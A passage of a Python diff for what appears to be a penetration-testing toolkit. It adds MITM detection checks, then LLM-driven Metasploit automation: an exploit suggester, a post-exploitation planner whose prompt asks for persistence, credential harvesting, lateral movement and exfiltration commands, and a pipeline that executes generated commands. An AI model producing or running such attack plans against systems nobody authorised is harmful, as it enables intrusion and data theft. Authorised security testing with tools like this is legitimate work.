'GitHub'), + ] + + print(f"{Colors.CYAN}[*] Testing HTTPS Connections:{Colors.RESET}\n") + + for url, name in test_sites: + print(f" Testing {name}...") + + # Check HTTP redirect + http_url = url.replace('https://', 'http://') + success, output = self.run_cmd(f"curl -sI -m 5 -o /dev/null -w '%{{http_code}} %{{redirect_url}}' {http_url}") + + if success: + parts = output.split() + code = parts[0] if parts else "000" + redirect = parts[1] if len(parts) > 1 else "" + + if code in ['301', '302', '307', '308'] and redirect.startswith('https://'): + print(f" {Colors.GREEN}[+] HTTP->HTTPS redirect working{Colors.RESET}") + else: + print(f" {Colors.YELLOW}[!] No HTTPS redirect (Code: {code}){Colors.RESET}") + + # Check HTTPS directly + success, output = self.run_cmd(f"curl -sI -m 5 {url} 2>&1 | head -1") + if success and ('200' in output or 'HTTP/2' in output): + print(f" {Colors.GREEN}[+] HTTPS connection successful{Colors.RESET}") + else: + print(f" {Colors.RED}[!] HTTPS connection failed: {output}{Colors.RESET}") + + # Check certificate + domain = url.replace('https://', '').replace('/', '') + success, cert_info = self.run_cmd(f"echo | openssl s_client -connect {domain}:443 -servername {domain} 2>/dev/null | openssl x509 -noout -dates 2>/dev/null") + if success and cert_info: + print(f" {Colors.GREEN}[+] Valid SSL certificate{Colors.RESET}") + print(f" {Colors.DIM}{cert_info.replace(chr(10), ' | ')}{Colors.RESET}") + print() + + def _check_rogue_dhcp(self) -> List[Dict]: + """Check for rogue DHCP servers.""" + issues = [] + + # Get current DHCP server + success, output = self.run_cmd("cat /var/lib/dhcp/dhclient.leases 2>/dev/null | grep 'dhcp-server-identifier' | tail -1") + if not success: + success, output = self.run_cmd("journalctl -u NetworkManager --no-pager -n 50 2>/dev/null | grep -i 'dhcp' | grep -i 'server'") + + # This is a basic check - full rogue DHCP detection requires nmap or specialized tools + return issues + + def detect_rogue_dhcp(self): + """Detect rogue DHCP servers.""" + print(f"\n{Colors.BOLD}Rogue DHCP Detection{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + print(f"{Colors.CYAN}[*] Current DHCP Information:{Colors.RESET}") + + # Check DHCP leases + success, output = self.run_cmd("cat /var/lib/dhcp/dhclient.leases 2>/dev/null | tail -30") + if success and output: + print(output) + else: + # Try NetworkManager + success, output = self.run_cmd("nmcli device show | grep -i 'dhcp\\|gateway\\|dns'") + if success: + print(output) + + print(f"\n{Colors.YELLOW}[!] Note: Full rogue DHCP detection requires nmap:{Colors.RESET}") + print(f" {Colors.DIM}nmap --script broadcast-dhcp-discover{Colors.RESET}") + + # Offer to run nmap scan + run_nmap = input(f"\n{Colors.WHITE}Run nmap DHCP discovery? (y/n): {Colors.RESET}").strip().lower() + if run_nmap == 'y': + print(f"\n{Colors.CYAN}[*] Running DHCP discovery...{Colors.RESET}") + success, output = self.run_cmd("nmap --script broadcast-dhcp-discover 2>/dev/null", timeout=60) + if success: + print(output) + else: + self.print_status("nmap not available or scan failed", "warning") + + def _check_gateway(self) -> List[Dict]: + """Check gateway for anomalies.""" + issues = [] + + # Get default gateway + success, gateway = self.run_cmd("ip route | grep default | awk '{print $3}'") + if success and gateway: + # Ping gateway + success, output = self.run_cmd(f"ping -c 1 -W 2 {gateway}") + if not success: + issues.append({ + 'type': 'Gateway Unreachable', + 'severity': 'HIGH', + 'description': 'Default gateway is not responding', + 'details': f'Gateway: {gateway}' + }) + + # Check gateway MAC consistency + success, mac = self.run_cmd(f"arp -n {gateway} | grep -v Address | awk '{{print $3}}'") + if success and mac: + # Check if MAC is from a known vendor (basic check) + if mac.startswith('00:00:00') or mac == '(incomplete)': + issues.append({ + 'type': 'Suspicious Gateway MAC', + 'severity': 'MEDIUM', + 'description': 'Gateway MAC address appears suspicious', + 'details': f'Gateway {gateway} has MAC {mac}' + }) + + return issues + + def check_gateway_anomaly(self): + """Check for gateway anomalies.""" + print(f"\n{Colors.BOLD}Gateway Anomaly Check{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Get gateway info + success, gateway = self.run_cmd("ip route | grep default | awk '{print $3}'") + if success and gateway: + print(f" Default Gateway: {gateway}") + + # Get MAC + success, mac = self.run_cmd(f"arp -n {gateway} | grep -v Address | awk '{{print $3}}'") + if success and mac: + print(f" Gateway MAC: {mac}") + + # Ping test + success, output = self.run_cmd(f"ping -c 3 -W 2 {gateway}") + if success: + print(f" {Colors.GREEN}[+] Gateway is reachable{Colors.RESET}") + # Extract latency + latency = re.search(r'rtt min/avg/max/mdev = ([\d.]+)/([\d.]+)', output) + if latency: + print(f" Latency: {latency.group(2)}ms avg") + else: + print(f" {Colors.RED}[!] Gateway is NOT reachable{Colors.RESET}") + + # Traceroute + print(f"\n{Colors.CYAN}[*] Route to Internet:{Colors.RESET}") + success, output = self.run_cmd("traceroute -m 5 8.8.8.8 2>/dev/null", timeout=30) + if success: + print(output) + else: + print(f" {Colors.RED}[!] Could not determine default gateway{Colors.RESET}") + + def continuous_monitoring(self): + """Continuous MITM monitoring mode.""" + print(f"\n{Colors.BOLD}Continuous MITM Monitoring{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.DIM}Press Ctrl+C to stop monitoring{Colors.RESET}\n") + + # Store baseline + success, baseline_arp = self.run_cmd("arp -a") + baseline_macs = {} + if success: + for line in baseline_arp.split('\n'): + mac_match = re.search(r'([0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}', line) + ip_match = re.search(r'(\d{1,3}\.){3}\d{1,3}', line) + if mac_match and ip_match: + baseline_macs[ip_match.group()] = mac_match.group().lower() + + print(f"{Colors.GREEN}[+] Baseline captured: {len(baseline_macs)} hosts{Colors.RESET}\n") + + try: + check_count = 0 + while True: + check_count += 1 + timestamp = datetime.now().strftime("%H:%M:%S") + + # Get current ARP table + success, current_arp = self.run_cmd("arp -a") + if success: + current_macs = {} + for line in current_arp.split('\n'): + mac_match = re.search(r'([0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}', line) + ip_match = re.search(r'(\d{1,3}\.){3}\d{1,3}', line) + if mac_match and ip_match: + current_macs[ip_match.group()] = mac_match.group().lower() + + # Compare with baseline + for ip, mac in current_macs.items(): + if ip in baseline_macs and baseline_macs[ip] != mac: + print(f"{Colors.RED}[{timestamp}] ALERT: MAC change detected!{Colors.RESET}") + print(f" IP: {ip}") + print(f" Old MAC: {baseline_macs[ip]}") + print(f" New MAC: {mac}") + print() + + # Check for new hosts + new_hosts = set(current_macs.keys()) - set(baseline_macs.keys()) + for ip in new_hosts: + print(f"{Colors.YELLOW}[{timestamp}] New host detected: {ip} ({current_macs[ip]}){Colors.RESET}") + + print(f"\r{Colors.DIM}[{timestamp}] Check #{check_count} - {len(current_macs)} hosts{Colors.RESET}", end='', flush=True) + time.sleep(5) + + except KeyboardInterrupt: + print(f"\n\n{Colors.CYAN}[*] Monitoring stopped{Colors.RESET}") + + # ==================== MSF AUTOMATION ==================== + + def msf_automation_menu(self): + """LLM-driven Metasploit automation menu.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} MSF Automation (AI-Powered){Colors.RESET}") + print(f"{Colors.DIM} Use natural language to run Metasploit modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Status + llm_status = f"{Colors.GREEN}Loaded{Colors.RESET}" if (self.llm and self.llm.is_loaded) else f"{Colors.RED}Not loaded{Colors.RESET}" + msf_status = f"{Colors.GREEN}Connected{Colors.RESET}" if self.msf_connected else f"{Colors.RED}Not connected{Colors.RESET}" + print(f" {Colors.DIM}LLM: {llm_status} | MSF: {msf_status}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Describe What You Want To Do") + print(f" {Colors.GREEN}[2]{Colors.RESET} Quick Scan Target") + print(f" {Colors.GREEN}[3]{Colors.RESET} Exploit Suggester") + print(f" {Colors.GREEN}[4]{Colors.RESET} Post-Exploitation Helper") + print() + print(f" {Colors.CYAN}[C]{Colors.RESET} Connect to MSF") + print(f" {Colors.CYAN}[L]{Colors.RESET} Load LLM Model") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == "0": + break + elif choice == "1": + self.natural_language_msf() + elif choice == "2": + self.quick_scan_target() + elif choice == "3": + self.exploit_suggester() + elif choice == "4": + self.post_exploitation_helper() + elif choice == "c": + self._ensure_msf_connected() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + elif choice == "l": + self._ensure_llm_loaded() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def natural_language_msf(self): + """Process natural language requests for MSF operations.""" + print(f"\n{Colors.BOLD}Natural Language MSF Control{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.DIM}Describe what you want to do in plain English.{Colors.RESET}") + print(f"{Colors.DIM}Examples:{Colors.RESET}") + print(f"{Colors.DIM} - 'Scan 192.168.1.1 for open ports'{Colors.RESET}") + print(f"{Colors.DIM} - 'Check if target is vulnerable to EternalBlue'{Colors.RESET}") + print(f"{Colors.DIM} - 'Run SMB version scanner on 10.0.0.0/24'{Colors.RESET}") + print() + + # Ensure LLM is loaded + if not self._ensure_llm_loaded(): + return + + # Ensure MSF is connected + if not self._ensure_msf_connected(): + print(f"{Colors.YELLOW}[!] MSF not connected. Will show commands but cannot execute.{Colors.RESET}") + + # Get user request + request = input(f"{Colors.WHITE}What do you want to do? {Colors.RESET}").strip() + if not request: + return + + print(f"\n{Colors.CYAN}[*] Analyzing request...{Colors.RESET}") + + # Build prompt for LLM + system_prompt = """You are a Metasploit expert assistant. Your job is to translate user requests into specific Metasploit module recommendations. + +When the user describes what they want to do, respond with: +1. The recommended MSF module path (e.g., auxiliary/scanner/smb/smb_version) +2. Required options (e.g., RHOSTS, RPORT) +3. A brief explanation of what the module does + +Format your response as JSON: +{ + "module_type": "auxiliary|exploit|post", + "module_path": "full/module/path", + "options": {"RHOSTS": "value", "THREADS": "10"}, + "explanation": "Brief description" +} + +If you cannot determine an appropriate module, respond with: +{"error": "reason"} + +Common modules: +- Port scan: auxiliary/scanner/portscan/tcp +- SMB version: auxiliary/scanner/smb/smb_version +- MS17-010 check: auxiliary/scanner/smb/smb_ms17_010 +- SSH version: auxiliary/scanner/ssh/ssh_version +- HTTP version: auxiliary/scanner/http/http_version +- FTP version: auxiliary/scanner/ftp/ftp_version +- Vuln scan: auxiliary/scanner/smb/smb_ms08_067 +""" + + try: + # Clear history for fresh context + self.llm.clear_history() + + # Get LLM response + response = self.llm.chat(request, system_prompt=system_prompt) + + # Try to parse JSON from response + try: + # Find JSON in response + json_match = re.search(r'\{[^{}]*\}', response, re.DOTALL) + if json_match: + module_info = json.loads(json_match.group()) + else: + module_info = json.loads(response) + + if 'error' in module_info: + print(f"\n{Colors.YELLOW}[!] {module_info['error']}{Colors.RESET}") + return + + # Display recommendation + print(f"\n{Colors.GREEN}[+] Recommended Module:{Colors.RESET}") + print(f" Type: {module_info.get('module_type', 'unknown')}") + print(f" Path: {module_info.get('module_path', 'unknown')}") + print(f"\n{Colors.CYAN}Options:{Colors.RESET}") + for opt, val in module_info.get('options', {}).items(): + print(f" {opt}: {val}") + print(f"\n{Colors.DIM}Explanation: {module_info.get('explanation', 'N/A')}{Colors.RESET}") + + # Ask to execute + if self.msf and self.msf.is_connected: + execute = input(f"\n{Colors.WHITE}Execute this module? (y/n): {Colors.RESET}").strip().lower() + if execute == 'y': + self._execute_msf_module(module_info) + + except json.JSONDecodeError: + # LLM didn't return valid JSON, show raw response + print(f"\n{Colors.CYAN}LLM Response:{Colors.RESET}") + print(response) + + except LLMError as e: + self.print_status(f"LLM error: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _execute_msf_module(self, module_info: Dict): + """Execute an MSF module based on LLM recommendation.""" + try: + module_type = module_info.get('module_type', 'auxiliary') + module_path = module_info.get('module_path', '') + options = module_info.get('options', {}) + + # Ensure full module path format (type/path) + if not module_path.startswith(module_type + '/'): + full_path = f"{module_type}/{module_path}" + else: + full_path = module_path + + print(f"\n{Colors.CYAN}[*] Executing {full_path}...{Colors.RESET}") + + # Use the interface's run_module method + result = self.msf.run_module(full_path, options) + + if result.success: + print(f"{Colors.GREEN}[+] Module executed successfully{Colors.RESET}") + if result.findings: + print(f"\n{Colors.CYAN}Findings:{Colors.RESET}") + for finding in result.findings[:10]: + print(f" {finding}") + if result.info: + for info in result.info[:5]: + print(f" {Colors.DIM}{info}{Colors.RESET}") + else: + print(f"{Colors.YELLOW}[!] {result.get_summary()}{Colors.RESET}") + + except Exception as e: + self.print_status(f"Execution failed: {e}", "error") + + def quick_scan_target(self): + """Quick scan a target using MSF.""" + print(f"\n{Colors.BOLD}Quick Target Scan{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + target = input(f"{Colors.WHITE}Enter target (IP or range): {Colors.RESET}").strip() + if not target: + return + + if not self._ensure_msf_connected(): + self.print_status("Cannot scan without MSF connection", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.CYAN}[*] Running quick scan on {target}...{Colors.RESET}\n") + + # Run common scanners + scanners = [ + ('auxiliary/scanner/portscan/tcp', {'RHOSTS': target, 'PORTS': '21-25,80,443,445,3389,8080'}), + ('auxiliary/scanner/smb/smb_version', {'RHOSTS': target}), + ('auxiliary/scanner/ssh/ssh_version', {'RHOSTS': target}), + ] + + for module_path, options in scanners: + try: + print(f" Running {module_path}...") + result = self.msf.run_module(module_path, options) + if result.success: + print(f" {Colors.GREEN}Completed{Colors.RESET}") + for finding in result.findings[:3]: + print(f" {finding}") + else: + print(f" {Colors.YELLOW}{result.get_summary()}{Colors.RESET}") + except Exception as e: + print(f" {Colors.RED}Failed: {e}{Colors.RESET}") + + print(f"\n{Colors.GREEN}[+] Quick scan completed.{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def exploit_suggester(self): + """Use LLM to suggest exploits based on target info.""" + print(f"\n{Colors.BOLD}Exploit Suggester{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.DIM}Describe your target and I'll suggest exploits.{Colors.RESET}\n") + + if not self._ensure_llm_loaded(): + return + + print(f"{Colors.WHITE}Enter target information:{Colors.RESET}") + print(f"{Colors.DIM}(OS, services, versions, open ports, etc.){Colors.RESET}") + target_info = input(f"{Colors.WHITE}> {Colors.RESET}").strip() + + if not target_info: + return + + print(f"\n{Colors.CYAN}[*] Analyzing target...{Colors.RESET}") + + system_prompt = """You are a penetration testing expert. Based on the target information provided, suggest relevant Metasploit exploits and auxiliary modules. + +Consider: +1. Operating system vulnerabilities +2. Service-specific exploits +3. Common misconfigurations +4. Post-exploitation opportunities + +Format your response as a prioritized list with: +- Module path +- CVE (if applicable) +- Success likelihood (High/Medium/Low) +- Brief description + +Focus on practical, commonly successful exploits.""" + + try: + self.llm.clear_history() + response = self.llm.chat(f"Target information: {target_info}", system_prompt=system_prompt) + print(f"\n{Colors.GREEN}Exploit Suggestions:{Colors.RESET}\n") + print(response) + except LLMError as e: + self.print_status(f"LLM error: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def post_exploitation_helper(self): + """LLM-assisted post-exploitation guidance.""" + print(f"\n{Colors.BOLD}Post-Exploitation Helper{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.DIM}Get guidance on post-exploitation steps.{Colors.RESET}\n") + + if not self._ensure_llm_loaded(): + return + + print(f"{Colors.WHITE}Describe your current access:{Colors.RESET}") + print(f"{Colors.DIM}(Shell type, privileges, OS, what you've found){Colors.RESET}") + access_info = input(f"{Colors.WHITE}> {Colors.RESET}").strip() + + if not access_info: + return + + print(f"\n{Colors.CYAN}[*] Generating post-exploitation plan...{Colors.RESET}") + + system_prompt = """You are a post-exploitation expert. Based on the current access described, provide a structured post-exploitation plan. + +Include: +1. Privilege escalation techniques (if not already root/SYSTEM) +2. Persistence mechanisms +3. Credential harvesting opportunities +4. Lateral movement options +5. Data exfiltration considerations +6. Relevant Metasploit post modules + +Be specific with commands and module paths. Prioritize by likelihood of success.""" + + try: + self.llm.clear_history() + response = self.llm.chat(f"Current access: {access_info}", system_prompt=system_prompt) + print(f"\n{Colors.GREEN}Post-Exploitation Plan:{Colors.RESET}\n") + print(response) + except LLMError as e: + self.print_status(f"LLM error: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ==================== PENTEST PIPELINE ==================== + + def pentest_pipeline_menu(self): + """PentestGPT-style structured penetration testing menu.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Pentest Pipeline (AI-Powered){Colors.RESET}") + print(f"{Colors.DIM} Structured penetration testing with task tree{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Status + llm_status = f"{Colors.GREEN}Ready{Colors.RESET}" if (self.llm and self.llm.is_loaded) else f"{Colors.DIM}Not loaded{Colors.RESET}" + msf_status = f"{Colors.GREEN}Connected{Colors.RESET}" if self.msf_connected else f"{Colors.DIM}Offline{Colors.RESET}" + session_status = f"{Colors.GREEN}{self.pentest_session.target}{Colors.RESET}" if self.pentest_session else f"{Colors.DIM}None{Colors.RESET}" + print(f" {Colors.DIM}LLM: {llm_status} | MSF: {msf_status}{Colors.RESET}") + print(f" {Colors.DIM}Session: {session_status}{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} New Pentest Session") + print(f" {Colors.GREEN}[2]{Colors.RESET} Resume Saved Session") + print(f" {Colors.GREEN}[3]{Colors.RESET} List Saved Sessions") + print(f" {Colors.GREEN}[4]{Colors.RESET} Delete Session") + print() + if self.pentest_session: + print(f" {Colors.CYAN}[S]{Colors.RESET} Show Task Tree") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == "0": + break + elif choice == "1": + self._start_new_pentest_session() + elif choice == "2": + self._resume_pentest_session() + elif choice == "3": + self._list_pentest_sessions() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + elif choice == "4": + self._delete_pentest_session() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + elif choice == "s" and self.pentest_session: + print(f"\n{self.pentest_session.tree.render_text()}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _start_new_pentest_session(self): + """Start a new pentest session with target.""" + print(f"\n{Colors.BOLD}New Pentest Session{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + target = input(f"{Colors.WHITE}Enter target (IP, hostname, or range): {Colors.RESET}").strip() + if not target: + return + + notes = input(f"{Colors.WHITE}Notes (optional): {Colors.RESET}").strip() + + # Ensure LLM is loaded + if not self._ensure_llm_loaded(): + return + + # Create session + self.pentest_session = PentestSession(target) + self.pentest_session.notes = notes + self.pentest_session.start() + + # Create pipeline + self.pentest_pipeline = PentestPipeline( + self.llm, target, self.pentest_session.tree + ) + + self.print_status(f"Session created: {self.pentest_session.session_id}", "success") + self.print_status("Generating initial plan...", "info") + + # Generate initial plan + try: + plan = self.pentest_pipeline.get_initial_plan() + + print(f"\n{Colors.GREEN}Initial Plan:{Colors.RESET}") + if plan.get('first_action'): + print(f" First action: {plan['first_action']}") + if plan.get('reasoning'): + print(f" Reasoning: {plan['reasoning']}") + + if plan.get('commands'): + print(f"\n{Colors.CYAN}Suggested Commands:{Colors.RESET}") + for i, cmd in enumerate(plan['commands'], 1): + print(f" {i}. {Colors.GREEN}{cmd['tool']}{Colors.RESET}: {json.dumps(cmd['args'])}") + print(f" Expect: {cmd.get('expect', 'N/A')}") + + print(f"\n{Colors.DIM}Task tree initialized with {len(self.pentest_session.tree.nodes)} nodes{Colors.RESET}") + except Exception as e: + self.print_status(f"Plan generation error: {e}", "warning") + print(f"{Colors.DIM}You can still use the session manually{Colors.RESET}") + + input(f"\n{Colors.WHITE}Press Enter to enter session...{Colors.RESET}") + + # Enter interactive loop + self._pentest_interactive_loop() + + def _resume_pentest_session(self): + """Resume a saved session.""" + sessions = PentestSession.list_sessions() + if not sessions: + self.print_status("No saved sessions found", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + print(f"\n{Colors.BOLD}Saved Sessions:{Colors.RESET}\n") + resumable = [] + for i, s in enumerate(sessions, 1): + state_color = Colors.YELLOW if s['state'] == 'paused' else Colors.DIM + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {s['target']} ({state_color}{s['state']}{Colors.RESET})") + stats = s.get('tree_stats', {}) + print(f" Steps: {s['steps']} | Findings: {s['findings']} | " + f"Tasks: {stats.get('todo', 0)} todo, {stats.get('completed', 0)} done") + print(f" {Colors.DIM}{s['session_id']}{Colors.RESET}") + resumable.append(s) + + print(f"\n {Colors.DIM}[0]{Colors.RESET} Cancel") + choice = input(f"\n{Colors.WHITE} Select session: {Colors.RESET}").strip() + + if choice == "0" or not choice: + return + + try: + idx = int(choice) - 1 + if 0 <= idx < len(resumable): + session_id = resumable[idx]['session_id'] + self.pentest_session = PentestSession.load_session(session_id) + self.pentest_session.resume() + + if not self._ensure_llm_loaded(): + return + + self.pentest_pipeline = PentestPipeline( + self.llm, self.pentest_session.target, + self.pentest_session.tree + ) + + self.print_status(f"Resumed session: {self.pentest_session.target}", "success") + input(f"\n{Colors.WHITE}Press Enter to enter session...{Colors.RESET}") + self._pentest_interactive_loop() + except (ValueError, FileNotFoundError) as e: + self.print_status(f"Error: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _list_pentest_sessions(self): + """List all saved sessions.""" + sessions = PentestSession.list_sessions() + if not sessions: + self.print_status("No saved sessions", "info") + return + + print(f"\n{Colors.BOLD}Saved Sessions ({len(sessions)}):{Colors.RESET}\n") + for s in sessions: + state_color = { + 'running': Colors.GREEN, 'paused': Colors.YELLOW, + 'completed': Colors.CYAN, 'error': Colors.RED, + }.get(s['state'], Colors.DIM) + print(f" {s['target']:25} {state_color}{s['state']:10}{Colors.RESET} " + f"Steps: {s['steps']:3} Findings: {s['findings']}") + print(f" {Colors.DIM}{s['session_id']}{Colors.RESET}") + print() + + def _delete_pentest_session(self): + """Delete a saved session.""" + sessions = PentestSession.list_sessions() + if not sessions: + self.print_status("No saved sessions", "info") + return + + print(f"\n{Colors.BOLD}Delete Session:{Colors.RESET}\n") + for i, s in enumerate(sessions, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {s['target']} ({s['state']})") + + print(f"\n {Colors.DIM}[0]{Colors.RESET} Cancel") + choice = input(f"\n{Colors.WHITE} Select: {Colors.RESET}").strip() + + try: + idx = int(choice) - 1 + if 0 <= idx < len(sessions): + sid = sessions[idx]['session_id'] + confirm = input(f"{Colors.YELLOW}Delete {sid}? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + session = PentestSession.load_session(sid) + session.delete() + self.print_status("Session deleted", "success") + if self.pentest_session and self.pentest_session.session_id == sid: + self.pentest_session = None + self.pentest_pipeline = None + except (ValueError, FileNotFoundError) as e: + self.print_status(f"Error: {e}", "error") + + def _pentest_interactive_loop(self): + """Interactive pentest session loop (PentestGPT-style).""" + session = self.pentest_session + pipeline = self.pentest_pipeline + settings = self.config.get_pentest_settings() + max_steps = settings['max_pipeline_steps'] + + while session.state == PentestSessionState.RUNNING: + clear_screen() + stats = session.tree.get_stats() + print(f"{Colors.RED}{Colors.BOLD}[Pentest Session: {session.target}]{Colors.RESET}") + print(f"{Colors.DIM}[Step {session.step_count}/{max_steps}] " + f"[Tree: {stats['total']} nodes, {stats.get('todo', 0)} todo, " + f"{stats.get('completed', 0)} done]{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + print() + + # Show next recommended task + next_todo = session.tree.get_next_todo() + if next_todo: + print(f" {Colors.CYAN}Next task:{Colors.RESET} {next_todo.label} (P{next_todo.priority})") + print() + + print(f" {Colors.DIM}Commands:{Colors.RESET}") + print(f" {Colors.GREEN}next{Colors.RESET} - Process tool output (paste results)") + print(f" {Colors.GREEN}exec{Colors.RESET} - Auto-execute next recommended action") + print(f" {Colors.GREEN}discuss{Colors.RESET} - Ask a question (doesn't affect tree)") + print(f" {Colors.GREEN}google{Colors.RESET} - Provide external research findings") + print(f" {Colors.GREEN}tree{Colors.RESET} - Display current task tree") + print(f" {Colors.GREEN}status{Colors.RESET} - Show session status") + print(f" {Colors.GREEN}pause{Colors.RESET} - Save session and return to menu") + print(f" {Colors.GREEN}done{Colors.RESET} - Complete session and generate report") + print() + + try: + cmd = input(f"{Colors.WHITE} > {Colors.RESET}").strip().lower() + except (EOFError, KeyboardInterrupt): + cmd = "pause" + + if cmd == "next": + self._handle_next(pipeline, session) + elif cmd == "exec": + self._handle_exec(pipeline, session) + elif cmd == "discuss": + self._handle_discuss(pipeline) + elif cmd == "google": + self._handle_google(pipeline, session) + elif cmd == "tree": + print(f"\n{session.tree.render_text()}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + elif cmd == "status": + self._handle_status(session) + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + elif cmd == "pause": + session.pause() + self.print_status("Session paused and saved", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + break + elif cmd == "done": + self._handle_done(session) + break + + # Check step limit + if session.step_count >= max_steps: + self.print_status(f"Step limit ({max_steps}) reached. Session paused.", "warning") + session.pause() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + break + + def _handle_next(self, pipeline, session): + """Handle 'next' command - process pasted tool output.""" + print(f"\n{Colors.CYAN}Paste tool output below (empty line to finish):{Colors.RESET}") + lines = [] + while True: + try: + line = input() + if line == "": + if lines: + break + else: + lines.append(line) + except EOFError: + break + + if not lines: + return + + raw_output = '\n'.join(lines) + source_type = detect_source_type(raw_output) + self.print_status(f"Detected source: {source_type}", "info") + self.print_status("Processing through pipeline...", "info") + + result = pipeline.process_output(raw_output, source_type) + + # Log to session + session.log_event('tool_output', { + 'source_type': source_type, + 'parsed_summary': result['parsed'].get('summary', ''), + }) + session.log_pipeline_result( + result['parsed'].get('summary', ''), + result['reasoning'].get('reasoning', ''), + result.get('commands', []), + ) + + # Add findings to session + for finding in result['parsed'].get('findings', []): + if '[VULN]' in finding or '[CRED]' in finding: + severity = 'high' if '[VULN]' in finding else 'critical' + session.add_finding(finding, finding, severity) + + # Display results + print(f"\n{Colors.GREEN}--- Parsed ---{Colors.RESET}") + print(f" Summary: {result['parsed'].get('summary', 'N/A')}") + if result['parsed'].get('findings'): + print(f" Findings:") + for f in result['parsed']['findings']: + color = Colors.RED if '[VULN]' in f else Colors.YELLOW if '[CRED]' in f else Colors.WHITE + print(f" {color}- {f}{Colors.RESET}") + + print(f"\n{Colors.GREEN}--- Reasoning ---{Colors.RESET}") + print(f" Next task: {result.get('next_task', 'N/A')}") + print(f" Reasoning: {result['reasoning'].get('reasoning', 'N/A')}") + if result['reasoning'].get('tree_updates'): + print(f" Tree updates: {len(result['reasoning']['tree_updates'])}") + + if result.get('commands'): + print(f"\n{Colors.GREEN}--- Suggested Commands ---{Colors.RESET}") + for i, cmd in enumerate(result['commands'], 1): + print(f" {i}. {Colors.CYAN}{cmd['tool']}{Colors.RESET}: {json.dumps(cmd['args'])}") + print(f" Expect: {cmd.get('expect', 'N/A')}") + if result.get('fallback'): + print(f"\n {Colors.DIM}Fallback: {result['fallback']}{Colors.RESET}") + + session.save() + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _handle_exec(self, pipeline, session): + """Handle 'exec' command - auto-execute next recommended action.""" + next_todo = session.tree.get_next_todo() + if not next_todo: + self.print_status("No pending tasks in the tree", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.print_status(f"Generating commands for: {next_todo.label}", "info") + + # Generate commands + context = "" + if next_todo.details: + context = next_todo.details + gen_result = pipeline.generator.generate( + next_todo.label, session.target, context=context + ) + + if not gen_result.get('commands'): + self.print_status("No executable commands generated", "warning") + if gen_result.get('raw_response'): + print(f"\n{Colors.DIM}{gen_result['raw_response']}{Colors.RESET}") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Mark task as in progress + session.tree.update_node(next_todo.id, status=NodeStatus.IN_PROGRESS) + + # Execute with confirmation + print(f"\n{Colors.BOLD}Commands to execute:{Colors.RESET}") + all_output = [] + for i, cmd in enumerate(gen_result['commands'], 1): + print(f"\n {i}. {Colors.CYAN}{cmd['tool']}{Colors.RESET}: {json.dumps(cmd['args'])}") + print(f" Expect: {cmd.get('expect', 'N/A')}") + + choice = input(f" {Colors.WHITE}Execute? (y/n/skip): {Colors.RESET}").strip().lower() + if choice == 'n': + break + elif choice == 'skip': + continue + + # Execute the command + output = self._execute_pipeline_action(cmd) + if output: + all_output.append(output) + print(f"\n{Colors.DIM}Output:{Colors.RESET}") + # Show truncated output + display = output[:500] + if len(output) > 500: + display += f"\n... ({len(output)} chars total)" + print(display) + + # Process collected output through pipeline + if all_output: + combined = '\n'.join(all_output) + self.print_status("Processing results through pipeline...", "info") + result = pipeline.process_output(combined) + session.log_pipeline_result( + result['parsed'].get('summary', ''), + result['reasoning'].get('reasoning', ''), + result.get('commands', []), + ) + + 